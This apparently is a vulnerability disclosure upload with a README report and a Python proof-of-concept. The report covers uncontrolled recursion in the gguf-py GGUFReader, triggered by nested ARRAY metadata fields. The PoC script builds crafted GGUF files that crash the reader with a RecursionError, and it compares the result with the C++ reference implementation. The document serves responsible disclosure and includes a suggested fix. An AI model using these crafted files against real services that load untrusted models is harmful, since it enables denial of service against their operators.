Upload 2 files

README.md

@@ -1,3 +1,89 @@
----
-license: mit
----
+# GGUF Nested Array (ARRAY-of-ARRAY) Uncontrolled Recursion — RecursionError DoS
+
+**Status:** Preparing for Huntr submission
+**Package:** [`gguf`](https://pypi.org/project/gguf/) (PyPI) — official gguf-py from [ggml-org/llama.cpp](https://github.com/ggml-org/llama.cpp)
+**File / function:** `gguf/gguf_reader.py`, `GGUFReader._get_field_parts()`
+**Class:** CWE-674 (Uncontrolled Recursion)
+**Severity:** Medium — an uncaught, unhandled exception crashes any application calling `GGUFReader()` on a ~12KB crafted file, with no exception type most code would think to catch.
+
+## Summary
+
+When a GGUF key/value metadata field has type `ARRAY`, `GGUFReader._get_field_parts()` reads the array's *element* type and recursively calls itself to parse each element:
+
+```python
+if gtype == GGUFValueType.ARRAY:
+    raw_itype = self._get(offs, np.uint32)
+    ...
+    for idx in range(alen[0]):
+        curr_size, curr_parts, curr_idxs, curr_types = self._get_field_parts(offs, raw_itype[0])
+```
+
+There is no check that the element type (`raw_itype`) isn't itself `ARRAY`, and no recursion depth limit. A GGUF file can declare an array whose elements are arrays, whose elements are arrays, nested as deep as the file's author chooses.
+
+**The reference C++ implementation explicitly rejects this.** In `ggml/src/gguf.cpp`'s type-dispatch switch:
+
+```c
+case GGUF_TYPE_ARRAY:
+default:
+    {
+        GGML_LOG_ERROR("%s: key '%s' has invalid GGUF type %d\n", ...);
+        ok = false;
+    } break;
+```
+
+Encountering `ARRAY` as an array's element type is treated as invalid input and cleanly rejected. The Python bindings have no equivalent check.
+
+## Proof of Concept
+
+`poc_gguf_nested_array_recursion.py` builds a series of small, otherwise-valid GGUF files with a single KV field nested to increasing depth, and shows the divergence:
+
+```bash
+pip install gguf numpy
+python poc_gguf_nested_array_recursion.py [path to a compiled llama-gguf binary, optional]
+```
+
+### Results
+
+| Nesting depth | File size | Python `gguf-py` | Native C++ reader |
+|---:|---:|---|---|
+| 1 | 70 bytes | accepted silently | **rejected cleanly** ("invalid GGUF type") |
+| 10 | 178 bytes | accepted silently | (not tested, same as depth 1) |
+| 100 | 1,258 bytes | accepted silently | — |
+| 1,000 | 12,058 bytes | **`RecursionError: maximum recursion depth exceeded`** | — |
+| 5,000 | 60,058 bytes | **`RecursionError: maximum recursion depth exceeded`** | — |
+
+Even a *single* level of nesting is a genuine parity gap (Python accepts what the reference C++ implementation explicitly rejects as malformed), and by depth ~1000 — matching Python's default `sys.setrecursionlimit()` — it becomes an uncaught crash.
+
+The `RecursionError` is not caught anywhere in `gguf-py`; it propagates all the way out of `GGUFReader.__init__()`:
+
+```
+Traceback (most recent call last):
+  File "...", line 3, in <module>
+  File ".../gguf/gguf_reader.py", line 169, in __init__
+    offs = self._build_fields(offs, kv_count)
+  File ".../gguf/gguf_reader.py", line 298, in _build_fields
+    field_size, field_parts, field_idxs, field_types = self._get_field_parts(offs, raw_kv_type[0])
+  File ".../gguf/gguf_reader.py", line 248, in _get_field_parts
+    curr_size, curr_parts, curr_idxs, curr_types = self._get_field_parts(offs, raw_itype[0])
+  [Previous line repeated 990 more times]
+  ...
+RecursionError: maximum recursion depth exceeded
+```
+
+Any application calling `GGUFReader(path)` without a specific `except RecursionError` handler — unusual, since most file-parsing code anticipates `ValueError`/`OSError`, not `RecursionError` — crashes with an unhandled exception.
+
+## Impact
+
+Any service that loads untrusted or third-party GGUF files with `gguf-py` (model preview/validation services, conversion tooling, CI harnesses testing community-submitted models) can be crashed by a ~12KB file that otherwise looks like an ordinary, if oddly-structured, metadata field.
+
+## Suggested fix
+
+In `_get_field_parts()`, reject `ARRAY` as a valid array-element type the same way the C++ implementation does (this alone fixes the underlying parity gap and, as a side effect, removes the unbounded-recursion path entirely, since the recursion can only occur through nested arrays).
+
+## Relationship to other reports
+
+Same vulnerability *class* (CWE-674, Uncontrolled Recursion) as a separately-reported finding in `protobuf`'s `json_format.ParseDict()` — but a completely different library, format, and code path. Also distinct from this reporter's two other `gguf-py` findings: "KV Array Field Unbounded Length" (CWE-834, iteration-based, not recursion) and "Tensor Data Offset Aliasing" (CWE-1284, a data-integrity issue unrelated to metadata parsing). Also distinct from a separately and independently reported `n_dims`/`GGML_MAX_DIMS` parity gap (a different structural issue — per-tensor dimension count vs. this report's array *nesting*).
+
+## Disclosure
+
+Please do not use this PoC against production systems you do not own or have explicit permission to test.

poc_gguf_nested_array_recursion.py

@@ -0,0 +1,148 @@
+#!/usr/bin/env python3
+"""
+PoC: GGUF Nested Array (ARRAY-of-ARRAY) Uncontrolled Recursion -> RecursionError DoS
+
+Target:   gguf (PyPI), gguf-py from ggml-org/llama.cpp
+File:     gguf/gguf_reader.py, GGUFReader._get_field_parts()
+
+Root cause (CWE-674, Uncontrolled Recursion):
+
+    if gtype == GGUFValueType.ARRAY:
+        raw_itype = self._get(offs, np.uint32)
+        offs += int(raw_itype.nbytes)
+        alen = self._get(offs, np.uint64)
+        offs += int(alen.nbytes)
+        aparts = [raw_itype, alen]
+        data_idxs = []
+        for idx in range(alen[0]):
+            curr_size, curr_parts, curr_idxs, curr_types = self._get_field_parts(offs, raw_itype[0])
+            ...
+
+When a KV metadata field has type ARRAY, the reader reads the array's
+*element* type (`raw_itype`) and recurses into `_get_field_parts()` to
+parse each element -- with NO check that `raw_itype` isn't itself ARRAY,
+and no recursion depth limit. A GGUF file can therefore declare an array
+whose element type is "array", whose element type is "array", ... nested
+as deep as the file declares.
+
+The reference C/C++ implementation in ggml-org/llama.cpp explicitly
+rejects this: in `ggml/src/gguf.cpp`, the type-dispatch switch statement
+has:
+
+    case GGUF_TYPE_ARRAY:
+    default:
+        {
+            GGML_LOG_ERROR("%s: key '%s' has invalid GGUF type %d\n", ...);
+            ok = false;
+        } break;
+
+i.e. encountering ARRAY as an array's element type is treated as an
+invalid/malformed file and rejected cleanly. The Python bindings have no
+equivalent check.
+
+Impact: nesting depth around Python's default recursion limit (~1000)
+causes an uncaught `RecursionError` that propagates all the way out of
+`GGUFReader.__init__()` -- there is no try/except anywhere in the
+recursive call chain. Any application that calls `GGUFReader(path)`
+without a specific `except RecursionError` handler (unusual -- most
+code anticipates `ValueError`/`OSError` for file-parsing failures, not
+`RecursionError`) crashes with an unhandled exception. A file of
+roughly 12KB is enough to trigger this reliably.
+
+This script:
+  1. Builds a small, valid GGUF file with a single KV field of type
+     ARRAY, nested N levels deep (each level's element type is again
+     ARRAY, with array length 1), bottoming out in a 1-element INT32
+     array.
+  2. Demonstrates that Python silently accepts shallow nesting (10,
+     100 levels) but raises an uncaught RecursionError at deeper
+     nesting (1000, 5000 levels).
+  3. If a compiled `llama-gguf` binary path is given, also demonstrates
+     that the native C++ reference implementation cleanly REJECTS even
+     a single level of nesting -- confirming this is a genuine parity
+     gap, not merely "the file is malformed and everyone rejects it
+     differently."
+
+Requires: pip install gguf numpy
+"""
+
+import struct
+import os
+import subprocess
+import sys
+
+GGUF_MAGIC = 0x46554747
+GGUFValueType_ARRAY = 9
+GGUFValueType_INT32 = 5
+
+
+def pack_str(s: str) -> bytes:
+    b = s.encode("utf-8")
+    return struct.pack("<Q", len(b)) + b
+
+
+def build_nested_array_gguf(depth: int, path: str) -> int:
+    header = struct.pack("<I", GGUF_MAGIC)
+    header += struct.pack("<I", 3)   # version
+    header += struct.pack("<Q", 0)   # tensor_count
+    header += struct.pack("<Q", 1)   # kv_count
+
+    kv = pack_str("nested")
+    kv += struct.pack("<I", GGUFValueType_ARRAY)   # top-level type: ARRAY
+
+    for _ in range(depth):
+        kv += struct.pack("<I", GGUFValueType_ARRAY)  # element type: ARRAY (nested!)
+        kv += struct.pack("<Q", 1)                     # array length: 1
+
+    # bottom out with a real 1-element INT32 array
+    kv += struct.pack("<I", GGUFValueType_INT32)
+    kv += struct.pack("<Q", 1)
+    kv += struct.pack("<i", 42)
+
+    data = header + kv
+    with open(path, "wb") as f:
+        f.write(data)
+    return len(data)
+
+
+def test_python_reader(path: str, depth: int) -> None:
+    from gguf.gguf_reader import GGUFReader
+    try:
+        GGUFReader(path)
+        print(f"  depth={depth}: accepted silently (no error)")
+    except RecursionError as e:
+        print(f"  depth={depth}: RecursionError -- {e}")
+    except Exception as e:
+        print(f"  depth={depth}: {type(e).__name__}: {e}")
+
+
+def test_native_reader(binary: str, path: str) -> None:
+    r = subprocess.run([binary, path, "r"], capture_output=True, timeout=10)
+    stderr = r.stderr.decode(errors="replace")
+    if "invalid GGUF type" in stderr or "invalid GGUF type" in r.stdout.decode(errors="replace"):
+        print("  native C++ reader: cleanly REJECTED (invalid GGUF type)")
+    else:
+        print(f"  native C++ reader: exit={r.returncode}, stderr tail: {stderr[-200:]}")
+
+
+def main():
+    print("=== Building nested-array GGUF files at increasing depth ===\n")
+    for depth in (1, 10, 100, 1000, 5000):
+        path = f"poc_nested_array_depth_{depth}.gguf"
+        size = build_nested_array_gguf(depth, path)
+        print(f"depth={depth}: {size} bytes")
+        test_python_reader(path, depth)
+        if depth == 1 and len(sys.argv) > 1:
+            print()
+            test_native_reader(sys.argv[1], path)
+        print()
+
+    print(
+        "Depth 1000 (~12KB file) is enough to trigger an uncaught RecursionError\n"
+        "on Python's default recursion limit. The exception propagates all the way\n"
+        "out of GGUFReader.__init__() with no handling anywhere in the library."
+    )
+
+
+if __name__ == "__main__":
+    main()